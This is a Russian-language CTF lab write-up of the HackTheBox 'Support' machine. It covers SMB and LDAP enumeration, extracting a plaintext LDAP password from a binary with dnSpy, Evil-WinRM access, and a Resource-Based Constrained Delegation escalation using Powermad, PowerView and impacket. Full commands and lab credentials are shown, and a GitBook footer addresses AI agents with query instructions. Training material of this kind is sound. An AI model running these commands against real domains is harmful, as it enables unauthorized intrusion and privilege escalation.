> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Разбор HackTheBox Support Разбор Easy Windows-машины HackTheBox Support, охватывающий перечисление SMB, анализ EXE-бинарника, отладку с DNSpy, установку точек останова и получение LDAP-пароля в открытом виде (DNSpy), с практ {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление SMB * Анализ двоичного файла EXE * Отладка с DNSpy * Установка точек останова и получение пароля LDAP в открытом виде (DNSpy) * Перечисление пользователей Kerberos (kerbrute) * Перечисление LDAP (ldapsearch) * Утечка информации * Злоупотребление группой Remote Management Users (Evil-WinRM) * Перечисление с помощью SharpHound + BloodHound * Злоупотребление общими учетными записями поддержки (GenericAll) (атака RBCD) (Resource Based Constrained Delegation) * Атака Resource Based Constrained Delegation — создание объекта компьютера (powermad.ps1) * Атака Resource Based Constrained Delegation — PowerView\.ps1 * Атака Resource Based Constrained Delegation — получение служебного тикета с имперсонацией (getST.py) * Использование тикета для получения доступа администратора (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

#### **Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Сканирование версий портов с помощью Nmap:** Использование Nmap для сканирования версий портов и сохранения информации в файл "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **Перечисление DC:** ### Список SMB: Используем CrackMapExec для перечисления SMB. ```bash crackmapexec smb 10.10.11.174 ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

### **Список Kerberos:** Используем Kerbrute для перечисления пользователей. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Исследование сетевых общих ресурсов:** Поиск общих папок в сети. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Мы обнаруживаем интересный zip-файл под названием «UserInfo-exe-zip». Чтобы продолжить, мы используем `get` команду, чтобы загрузить его на нашу машину.

### /*/* Анализ Windows-бинарного файла:/*/* Мы запустим исполняемый файл Windows на машине с Windows. Для этого нам нужно: 1. Передать ZIP-архив

2. Миграция конфигурации VPN 3. `/etc/hosts` Конфигурация

Чтобы запустить бинарный файл и определить всех действительных пользователей, просто введите следующую команду ```bash ./UserInfo.exe find -first * -last * ``` #### Этот бинарный файл позволит нам перечислить пользователей.

#### Анализ Windows-бинарного файла, загруженного с помощью DNspy. {% embed url="" %}

### **Извлечение пароля в открытом виде:** Использование DNspy для извлечения пароля в открытом виде из Windows-бинарного файла.

Мы запустим программу, но остановимся только в том разделе, где текст отображается в открытом виде.

Вот пароль LDAP:

### **Проверка пароля LDAP:** Проверка извлеченного пароля с помощью CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Список домена: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Пользователи домена ``` enumdomusers ```

#### Группы домена ```bash enumdomgroups ```

#### Описание пользователей: ```bash querydispinfo ```

#### Запишем всех действительных пользователей домена в файл. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Теперь мы проверим, используется ли LDAP-пароль повторно для одного из следующих пользователей: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` Однако это не работает.

### **Перечисление LDAP:** {% embed url="" %} #### Используем LDAP search для перечисления информации. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Доступно много данных, однако при применении фильтра к информации о песне обнаруживается пароль пользователя support. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Эксплуатация:** #### Используем CrackMapExec, чтобы подтвердить пароль, связанный с учетной записью support. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Этот пользователь входит в группу пользователей удаленного управления, что позволяет нам подключаться через Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Использование Evil-WinRM:** Подключиться к целевой системе через Evil-WinRM, используя полученную идентифицированную информацию.

## Повышение привилегий ### **Проверка текущих привилегий:**
Используя `whoami /priv` команда для проверки привилегий пользователя, безуспешно.

### **Анализ групп членства:** Используя `net user support` команда для просмотра групп, к которым принадлежит пользователь. Обнаружение, по-видимому, редкой группы «shared support accounts».

### **Использование BloodHound для анализа привилегий:** #### Использование инструмента BloodHound для построения карты отношений доступа. {% embed url="" %}

### **Запуск SharpHound для дальнейшего анализа:** Используя SharpHound, инструмент, дополняющий BloodHound, для сбора дополнительных данных об отношениях доступа. ```powershell ./SharpHound.exe -c All ```

## Уязвимость атаки Resource Based Constrained Delegation: {% embed url="" %} ### **Выявление уязвимости Resource Based Constrained Delegation Attack:**

#### Развертывание скрипта Powermad для создания учетной записи машины. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Использование PowerView для проверки создания учетной записи машины. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Определение разрешений для учетной записи машины с помощью команд PowerShell. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### С помощью этой команды мы проверяем, работает ли весь процесс 'Get-DomainComputer dc' с использованием свойства 'msds-allowedtoactonbehalfofotheridentity'.

### **Эксплуатация уязвимости** #### Использование инструмента Impacket для выполнения `getST` команды для получения TGT-тикета, имперсонирующего пользователя Administrator. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Настройте окружение Kerberos для Administrator, экспортировав `KRB5CCNAME`, затем подключитесь к целевой системе с помощью Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Финальный флаг :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.